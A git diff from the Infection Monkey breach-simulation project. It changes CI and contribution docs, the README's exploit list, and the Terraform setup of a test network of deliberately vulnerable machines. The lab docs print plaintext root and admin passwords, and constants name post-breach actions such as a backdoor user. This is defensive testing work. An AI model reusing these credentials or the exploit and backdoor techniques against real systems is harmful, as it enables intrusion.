diff --git a/.travis.yml b/.travis.yml
index 963c37fc6..b14482939 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -3,12 +3,6 @@ language: python
cache: pip
python:
- 2.7
- - 3.6
-matrix:
- include:
- - python: 3.7
- dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
- sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 2744fac11..035eb0124 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
-Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
+Are you about to report a bug? Sorry to hear it. Here's our
+[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
-If you want to contribute new code or fix bugs..
+If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
+maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
-Also, please submit PRs to the develop branch.
+Also, please submit PRs to the `develop` branch.
+
+#### Unit tests
+**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
+filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
+
+Please try to read some of the existing unit testing code, so you can see some examples.
+
+#### Branch naming scheme
+**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
+`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.
diff --git a/README.md b/README.md
index 6ab6813ce..67b5b2e8b 100644
--- a/README.md
+++ b/README.md
@@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
- * RDP
* WMI
* Shellshock
* Conficker
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 24a8d3322..07be64612 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
-$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
+$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 5ce29ac59..4df8ba114 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
-cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
+cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
sudo chmod +x ./build.sh || handle_error
./build.sh
diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf
index 8ffa668ef..d90d84ca4 100644
--- a/envs/monkey_zoo/configs/fullTest.conf
+++ b/envs/monkey_zoo/configs/fullTest.conf
@@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
- "RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
- "rdp_grinder": {
- "rdp_use_vbs_download": true
- },
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 217a22b23..a8c0687fc 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -58,7 +58,7 @@ Requirements:
To deploy:
1. Configure service account for your project:
- a. Create a service account and name it “your\_name-monkeyZoo-user”
+ a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
b. Give these permissions to your service account:
@@ -74,7 +74,7 @@ To deploy:
**Project -> Owner**
- c. Download its **Service account key**. Select JSON format.
+ c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
a. **Compute Engine -\> Compute image user**
@@ -82,20 +82,30 @@ To deploy:
../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
link to your service account key file):
- > provider "google" {
- >
- > project = "project-28054666"
- >
- > region = "europe-west3"
- >
- > zone = "europe-west3-b"
- >
- > credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
- >
- > }
- >
- > service\_account\_email="test@project-925243.iam.gserviceaccount.com"
-
+ provider "google" {
+
+ project = "test-000000" // Change to your project id
+
+ region = "europe-west3" // Change to your desired region or leave default
+
+ zone = "europe-west3-b" // Change to your desired zone or leave default
+
+ credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
+ // If you followed instruction above leave it as is
+
+ }
+
+ locals {
+
+ resource_prefix = "" // All of the resources will have this prefix.
+ // Only change if you want to have multiple zoo's in the same project
+
+ service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
+
+ monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
+
+ }
+
4. Run terraform init
To deploy the network run:
@@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
+
+
+
+
+
+
+OS:
+Ubuntu 16.04.05 x64
+
+
+Software:
+OpenSSL
+
+
+Default service’s port:
+22
+
+
+Root password:
+3Q=(Ge(+&w]*
+
+
+Server’s config:
+Default
+
+
+Notes:
+Accessible only trough Nr.10
+
+
+
+
-Scan results:
-Machine exploited using RDP grinder
-
-
Server’s config:
Remote desktop enabled
Admin user’s credentials:
m0nk3y, 2}p}aR]&=M
-
+
Notes:
-
+
@@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
Server’s config:
-Has cashed mimikatz-15 RDP credentials
+Has cached mimikatz-15 RDP credentials
SMB turned on
diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf
index c6108865a..3a2bf0fc4 100644
--- a/envs/monkey_zoo/terraform/config.tf
+++ b/envs/monkey_zoo/terraform/config.tf
@@ -2,9 +2,10 @@ provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
- credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
+ credentials = "${file("../gcp_keys/gcp_key.json")}"
}
locals {
+ resource_prefix = ""
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf
index df33ed4d4..b183a8d32 100644
--- a/envs/monkey_zoo/terraform/firewalls.tf
+++ b/envs/monkey_zoo/terraform/firewalls.tf
@@ -1,5 +1,5 @@
resource "google_compute_firewall" "islands-in" {
- name = "islands-in"
+ name = "${local.resource_prefix}islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
}
resource "google_compute_firewall" "islands-out" {
- name = "islands-out"
+ name = "${local.resource_prefix}islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
}
resource "google_compute_firewall" "monkeyzoo-in" {
- name = "monkeyzoo-in"
+ name = "${local.resource_prefix}monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
direction = "INGRESS"
priority = "65534"
- source_ranges = ["10.2.2.0/24"]
+ source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
- name = "monkeyzoo-out"
+ name = "${local.resource_prefix}monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
direction = "EGRESS"
priority = "65534"
- destination_ranges = ["10.2.2.0/24"]
+ destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling-in" {
- name = "tunneling-in"
+ name = "${local.resource_prefix}tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
@@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
}
direction = "INGRESS"
- source_ranges = ["10.2.1.0/28"]
+ source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
- name = "tunneling-out"
+ name = "${local.resource_prefix}tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
@@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
}
direction = "EGRESS"
- destination_ranges = ["10.2.1.0/28"]
+ destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
+}
+resource "google_compute_firewall" "tunneling2-in" {
+ name = "${local.resource_prefix}tunneling2-in"
+ network = "${google_compute_network.tunneling2.name}"
+
+ allow {
+ protocol = "all"
+ }
+
+ direction = "INGRESS"
+ source_ranges = ["10.2.1.0/27"]
+}
+
+resource "google_compute_firewall" "tunneling2-out" {
+ name = "${local.resource_prefix}tunneling2-out"
+ network = "${google_compute_network.tunneling2.name}"
+
+ allow {
+ protocol = "all"
+ }
+
+ direction = "EGRESS"
+ destination_ranges = ["10.2.1.0/27"]
}
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf
index 4677d0c1b..dccbe16dd 100644
--- a/envs/monkey_zoo/terraform/images.tf
+++ b/envs/monkey_zoo/terraform/images.tf
@@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
- name = "tunneling-9-v2"
+ name = "tunneling-9"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
- name = "tunneling-10-v2"
+ name = "tunneling-10"
+ project = "${local.monkeyzoo_project}"
+}
+data "google_compute_image" "tunneling-11" {
+ name = "tunneling-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
- name = "sshkeys-11-v2"
+ name = "sshkeys-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
- name = "sshkeys-12-v2"
+ name = "sshkeys-12"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
- name = "mimikatz-14-v2"
+ name = "mimikatz-14"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
@@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
- name = "weblogic-19-v2"
+ name = "weblogic-19"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
@@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
- name = "struts-24-v2"
+ name = "struts2-24"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
@@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index e0b97822f..cf45d93e0 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -6,29 +6,40 @@ locals {
}
resource "google_compute_network" "monkeyzoo" {
- name = "monkeyzoo"
+ name = "${local.resource_prefix}monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
- name = "tunneling"
+ name = "${local.resource_prefix}tunneling"
+ auto_create_subnetworks = false
+}
+
+resource "google_compute_network" "tunneling2" {
+ name = "${local.resource_prefix}tunneling2"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
- name = "monkeyzoo-main"
+ name = "${local.resource_prefix}monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
- name = "tunneling-main"
+ name = "${local.resource_prefix}tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
+resource "google_compute_subnetwork" "tunneling2-main" {
+ name = "${local.resource_prefix}tunneling2-main"
+ ip_cidr_range = "10.2.0.0/27"
+ network = "${google_compute_network.tunneling2.self_link}"
+}
+
resource "google_compute_instance_from_template" "hadoop-2" {
- name = "hadoop-2"
+ name = "${local.resource_prefix}hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
@@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
}
resource "google_compute_instance_from_template" "hadoop-3" {
- name = "hadoop-3"
+ name = "${local.resource_prefix}hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
- name = "elastic-4"
+ name = "${local.resource_prefix}elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
- name = "elastic-5"
+ name = "${local.resource_prefix}elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
- name = "sambacry-6"
+ name = "${local.resource_prefix}sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.6"
}
}
@@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
- name = "sambacry-7"
+ name = "${local.resource_prefix}sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
@@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
- name = "shellshock-8"
+ name = "${local.resource_prefix}shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
- name = "tunneling-9"
+ name = "${local.resource_prefix}tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
auto_delete = true
}
network_interface{
- subnetwork="tunneling-main"
+ subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.9"
-
}
network_interface{
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
- name = "tunneling-10"
+ name = "${local.resource_prefix}tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
auto_delete = true
}
network_interface{
- subnetwork="tunneling-main"
+ subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.10"
}
+ network_interface{
+ subnetwork="${local.resource_prefix}tunneling2-main"
+ network_ip="10.2.0.10"
+ }
+}
+
+resource "google_compute_instance_from_template" "tunneling-11" {
+ name = "${local.resource_prefix}tunneling-11"
+ source_instance_template = "${local.default_ubuntu}"
+ boot_disk{
+ initialize_params {
+ image = "${data.google_compute_image.tunneling-11.self_link}"
+ }
+ auto_delete = true
+ }
+ network_interface{
+ subnetwork="${local.resource_prefix}tunneling2-main"
+ network_ip="10.2.0.11"
+ }
}
resource "google_compute_instance_from_template" "sshkeys-11" {
- name = "sshkeys-11"
+ name = "${local.resource_prefix}sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
- name = "sshkeys-12"
+ name = "${local.resource_prefix}sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
- name = "rdpgrinder-13"
+ name = "${local.resource_prefix}rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
- name = "mimikatz-14"
+ name = "${local.resource_prefix}mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
- name = "mimikatz-15"
+ name = "${local.resource_prefix}mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
- name = "mssql-16"
+ name = "${local.resource_prefix}mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
- name = "upgrader-17"
+ name = "${local.resource_prefix}upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
}
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
@@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
*/
resource "google_compute_instance_from_template" "weblogic-18" {
- name = "weblogic-18"
+ name = "${local.resource_prefix}weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
- name = "weblogic-19"
+ name = "${local.resource_prefix}weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
- name = "smb-20"
+ name = "${local.resource_prefix}smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
- name = "scan-21"
+ name = "${local.resource_prefix}scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
- name = "scan-22"
+ name = "${local.resource_prefix}scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
- name = "struts2-23"
+ name = "${local.resource_prefix}struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
- name = "struts2-24"
+ name = "${local.resource_prefix}struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
- name = "island-linux-250"
+ name = "${local.resource_prefix}island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
@@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
@@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
}
resource "google_compute_instance_from_template" "island-windows-251" {
- name = "island-windows-251"
+ name = "${local.resource_prefix}island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
@@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
auto_delete = true
}
network_interface {
- subnetwork="monkeyzoo-main"
+ subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf
index ed48864d9..6ae6dafdc 100644
--- a/envs/monkey_zoo/terraform/templates.tf
+++ b/envs/monkey_zoo/terraform/templates.tf
@@ -1,5 +1,5 @@
resource "google_compute_instance_template" "ubuntu16" {
- name = "ubuntu16"
+ name = "${local.resource_prefix}ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
@@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
}
resource "google_compute_instance_template" "windows2016" {
- name = "windows2016"
+ name = "${local.resource_prefix}windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
@@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
-}
\ No newline at end of file
+}
diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py
similarity index 97%
rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py
rename to monkey/common/cloud/aws_service_test.py
index b48674387..25d1b8b6e 100644
--- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
+++ b/monkey/common/cloud/aws_service_test.py
@@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
-class TestFilter_instance_data_from_aws_response(TestCase):
+class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{
diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py
new file mode 100644
index 000000000..a8c1a93f7
--- /dev/null
+++ b/monkey/common/data/__init__.py
@@ -0,0 +1,2 @@
+from zero_trust_consts import populate_mappings
+populate_mappings()
diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py
new file mode 100644
index 000000000..5fc9d6d8a
--- /dev/null
+++ b/monkey/common/data/network_consts.py
@@ -0,0 +1,2 @@
+ES_SERVICE = 'elastic-search-9200'
+
diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
new file mode 100644
index 000000000..dee4f67d0
--- /dev/null
+++ b/monkey/common/data/post_breach_consts.py
@@ -0,0 +1,3 @@
+POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
+POST_BREACH_BACKDOOR_USER = "Backdoor user"
+POST_BREACH_FILE_EXECUTION = "File execution"
diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
new file mode 100644
index 000000000..4add05d04
--- /dev/null
+++ b/monkey/common/data/zero_trust_consts.py
@@ -0,0 +1,205 @@
+"""
+This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
+in creating findings.
+
+This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
+Some of the mappings are computed when this module is loaded.
+"""
+
+AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
+VISIBILITY_ANALYTICS = u"Visibility & Analytics"
+WORKLOADS = u"Workloads"
+DEVICES = u"Devices"
+NETWORKS = u"Networks"
+PEOPLE = u"People"
+DATA = u"Data"
+PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
+
+STATUS_UNEXECUTED = u"Unexecuted"
+STATUS_PASSED = u"Passed"
+STATUS_VERIFY = u"Verify"
+STATUS_FAILED = u"Failed"
+# Don't change order! The statuses are ordered by importance/severity.
+ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
+
+TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
